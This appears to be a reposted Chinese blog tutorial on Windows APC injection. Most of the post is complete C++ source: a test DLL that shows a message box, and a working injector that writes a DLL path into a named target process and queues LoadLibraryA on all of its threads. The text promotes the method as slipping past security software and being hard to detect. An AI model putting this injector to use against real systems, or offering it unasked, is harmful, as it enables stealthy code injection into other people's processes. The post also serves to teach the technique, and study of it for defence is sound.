zoukankan      html  css  js  c++  java
  • 安全之路 —— 利用APC队列实现跨进程注入

    简介

    在之前的文章中笔者曾经为大家介绍过使用CreateRemoteThread函数来实现远程线程注入(链接),毫无疑问最经典的注入方式,但也因为如此,这种方式到今天已经几乎被所有安全软件所防御。所以今天笔者要介绍的是一种相对比较“另类”的方式,被称作**“APC注入”。APC(Asynchronous Procedure Call),全称为异步过程调用**,指的是函数在特定线程中被异步执行。简单地说,在Windows操作系统中,每一个进程的每一个线程都有自己的APC队列,可以使用QueueUserAPC函数把一个APC函数压入APC队列中。当处于用户模式的APC被压入到线程APC队列后,线程并不会立刻执行压入的APC函数,而是要等到线程处于可通知状态才会执行,也就是说,只有当一个线程内部调用WaitForSingleObject, WaitForMultiObjects, SleepEx等函数将自己处于挂起状态时,才会执行APC队列函数,执行顺序与普通队列相同,先进先出(FIFO),在整个执行过程中,线程并无任何异常举动,不容易被察觉,但缺点是对于单线程程序一般不存在挂起状态,所以APC注入对于这类程序没有明显效果。

    代码样例

    • DLL程序代码
    ////////////////////////////////
    //
    // FileName : HelloWorldDll.cpp
    // Creator : PeterZheng
    // Date : 2018/11/02 11:10
    // Comment : HelloWorld Test DLL ^_^
    //
    ////////////////////////////////
    
    #include <iostream>
    #include <Windows.h>
    
    using namespace std;
    
    BOOL WINAPI DllMain(
    	_In_ HINSTANCE hinstDLL,
    	_In_ DWORD     fdwReason,
    	_In_ LPVOID    lpvReserved
    )
    {
    	switch (fdwReason)
    	{
    	case DLL_PROCESS_ATTACH:
    		MessageBox(NULL, "HelloWorld", "Tips", MB_OK);
    		break;
    	case DLL_PROCESS_DETACH:
    	case DLL_THREAD_ATTACH:
    	case DLL_THREAD_DETACH:
    		break;
    	}
    	return TRUE;
    }
    
    • 注入程序代码
    ////////////////////////////////
    //
    // FileName : APCInject.cpp
    // Creator : PeterZheng
    // Date : 2018/12/17 16:27
    // Comment : APC Injector
    //
    ////////////////////////////////
    
    #pragma once
    
    #include <cstdio>
    #include <cstdlib>
    #include <iostream>
    #include <strsafe.h>
    #include <Windows.h>
    #include <TlHelp32.h>
    
    using namespace std;
    
    // 根据进程名字获取进程Id
    BOOL GetProcessIdByName(CHAR *szProcessName, DWORD& dwPid)
    {
    	HANDLE hSnapProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    	if (hSnapProcess == NULL)
    	{
    		printf("[*] Create Process Snap Error!
    ");
    		return FALSE;
    	}
    	PROCESSENTRY32 pe32 = { 0 };
    	RtlZeroMemory(&pe32, sizeof(pe32));
    	pe32.dwSize = sizeof(pe32);
    	BOOL bRet = Process32First(hSnapProcess, &pe32);
    	while (bRet)
    	{
    		if (_stricmp(pe32.szExeFile, szProcessName) == 0)
    		{
    			dwPid = pe32.th32ProcessID;
    			return TRUE;
    		}
    		bRet = Process32Next(hSnapProcess, &pe32);
    	}
    	return FALSE;
    }
    
    // 获取对应进程Id的所有线程Id
    BOOL GetAllThreadIdByProcessId(DWORD dwPid, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength)
    {
    	DWORD dwThreadIdListLength = 0;
    	DWORD dwThreadIdListMaxCount = 2000;
    	LPDWORD pThreadIdList = NULL;
    	pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    	if (pThreadIdList == NULL)
    	{
    		printf("[*] Create Thread Id Space Error!
    ");
    		return FALSE;
    	}
    	RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD));
    	THREADENTRY32 te32 = { 0 };
    	RtlZeroMemory(&te32, sizeof(te32));
    	te32.dwSize = sizeof(te32);
    	HANDLE hThreadSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    	if (hThreadSnapshot == NULL)
    	{
    		printf("[*] Create Thread Snap Error!
    ");
    		return FALSE;
    	}
    	BOOL bRet = Thread32First(hThreadSnapshot, &te32);
    	while (bRet)
    	{
    		if (te32.th32OwnerProcessID == dwPid)
    		{
    			if (dwThreadIdListLength >= dwThreadIdListMaxCount)
    			{
    				break;
    			}
    			pThreadIdList[dwThreadIdListLength++] = te32.th32ThreadID;
    		}
    		bRet = Thread32Next(hThreadSnapshot, &te32);
    	}
    	*pThreadIdListLength = dwThreadIdListLength;
    	*ppThreadIdList = pThreadIdList;
    	return TRUE;
    }
    
    // 主函数
    int main(int argc, char* argv[])
    {
    	if (argc != 3)
    	{
    		printf("[*] Format Error!  
    You Should FOLLOW THIS FORMAT: <APCInject EXENAME DLLNAME> 
    ");
    		return 0;
    	}
    	LPSTR szExeName = (LPSTR)VirtualAlloc(NULL, 100, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    	LPSTR szDllPath = (LPSTR)VirtualAlloc(NULL, 100, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    	RtlZeroMemory(szExeName, 100);
    	RtlZeroMemory(szDllPath, 100);
    	StringCchCopy(szExeName, 100, argv[1]);
    	StringCchCopy(szDllPath, 100, argv[2]);
    	DWORD dwPid = 0;
    	BOOL bRet = GetProcessIdByName(szExeName, dwPid);
    	if (!bRet)
    	{
    		printf("[*] Get Process Id Error!
    ");
    		return 0;
    	}
    	LPDWORD pThreadIdList = NULL;
    	DWORD dwThreadIdListLength = 0;
    	bRet = GetAllThreadIdByProcessId(dwPid, &pThreadIdList, &dwThreadIdListLength);
    	if (!bRet)
    	{
    		printf("[*] Get All Thread Id Error!
    ");
    		return 0;
    	}
    	// 打开进程
    	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
    	if (hProcess == NULL)
    	{
    		printf("[*] Open Process Error!
    ");
    		return 0;
    	}
    	DWORD dwDllPathLen = strlen(szDllPath) + 1;
    	// 申请目标进程空间,用于存储DLL路径
    	LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, dwDllPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    	if (lpBaseAddress == NULL)
    	{
    		printf("[*] VirtualAllocEx Error!
    ");
    		return 0;
    	}
    	SIZE_T dwWriten = 0;
    	// 把DLL路径字符串写入目标进程
    	WriteProcessMemory(hProcess, lpBaseAddress, szDllPath, dwDllPathLen, &dwWriten);
    	if (dwWriten != dwDllPathLen)
    	{
    		printf("[*] Write Process Memory Error!
    ");
    		return 0;
    	}
    	LPVOID pLoadLibraryFunc = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
    	if (pLoadLibraryFunc == NULL)
    	{
    		printf("[*] Get Func Address Error!
    ");
    		return 0;
    	}
    	HANDLE hThread = NULL;
    	// 倒序插入线程APC,可避免出现在插入时进程崩溃的现象
    	for (int i = dwThreadIdListLength - 1; i >= 0; i--)
    	{
    		HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
    		if (hThread)
    		{
    			QueueUserAPC((PAPCFUNC)pLoadLibraryFunc, hThread, (ULONG_PTR)lpBaseAddress);
    			CloseHandle(hThread);
    			hThread = NULL;
    		}
    	}
    
    	// DLL路径分割,方便输出
    	LPCSTR szPathSign = "\";
    	LPSTR p = NULL;
    	LPSTR next_token = NULL;
    	p = strtok_s(szDllPath, szPathSign, &next_token);
    	while (p)
    	{
    		StringCchCopy(szDllPath, 100, p);
    		p = strtok_s(NULL, szPathSign, &next_token);
    	}
    	printf("[*] APC Inject Info [%s ==> %s] Success
    ", szDllPath, szExeName);
    
    	if (hProcess)
    	{
    		CloseHandle(hProcess);
    		hProcess = NULL;
    	}
    	if (pThreadIdList)
    	{
    		VirtualFree(pThreadIdList, 0, MEM_RELEASE);
    		pThreadIdList = NULL;
    	}
    	VirtualFree(szDllPath, 0, MEM_RELEASE);
    	VirtualFree(szExeName, 0, MEM_RELEASE);
    	ExitProcess(0);
    	return 0;
    }
    

    运行截图

    APC注入运行截图

    参考资料

    1. 《Windows黑客编程技术详解》【甘迪文 著】
  • 相关阅读:
    golang以服务方式运行
    nginx重写规则配置
    PHP的 parse_ini_file 解析配置文件
    在Yii2中集成Markdown编辑器
    理解 is_callable
    Composer安装yii2-imagine 压缩,剪切,旋转,水印
    Yii2 基于header 实现接口版本控制
    (1) laravel php artisan list make
    php 阿里云国内短信实例
    php 云片国外短信实例
  • 原文地址:https://www.cnblogs.com/csnd/p/12896992.html
Copyright © 2011-2022 走看看